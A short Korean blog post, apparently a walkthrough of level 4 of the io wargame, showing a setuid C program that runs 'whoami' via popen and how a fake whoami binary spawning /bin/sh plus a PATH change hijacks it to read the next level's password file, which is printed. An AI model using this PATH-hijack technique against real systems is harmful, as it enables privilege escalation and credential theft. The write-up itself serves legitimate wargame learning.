Sanguine 2014. 5. 27. 17:14
summary: env PATH attack
  

소스를 보면 

level4@io:/levels$ cat level04.c

//writen by bla

#include <stdlib.h>

#include <stdio.h>


int main() {

        char username[1024];

        FILE* f = popen("whoami","r");

        fgets(username, sizeof(username), f);

        printf("Welcome %s", username);


        return 0;

}


whoami란 프로그램을 popen이란 함수를 통해서 whoami를 실행시키는데, 이것을 이용해  가짜 whoami파일을 만들어서 공략하면 된다.



level4@io:/tmp/sanguine$ cat whoami.c

#include <stdio.h>


int main(){

        char *args[]={"/bin/sh",NULL};

        execve(args[0],args,NULL);

}

level4@io:/tmp/sanguine$ export PATH=.:$PATH

level4@io:/tmp/sanguine$ /levels/level04

sh-4.2$ cat /home/level5/.pass

Welcome KGpWsju2vDpmxcxlvm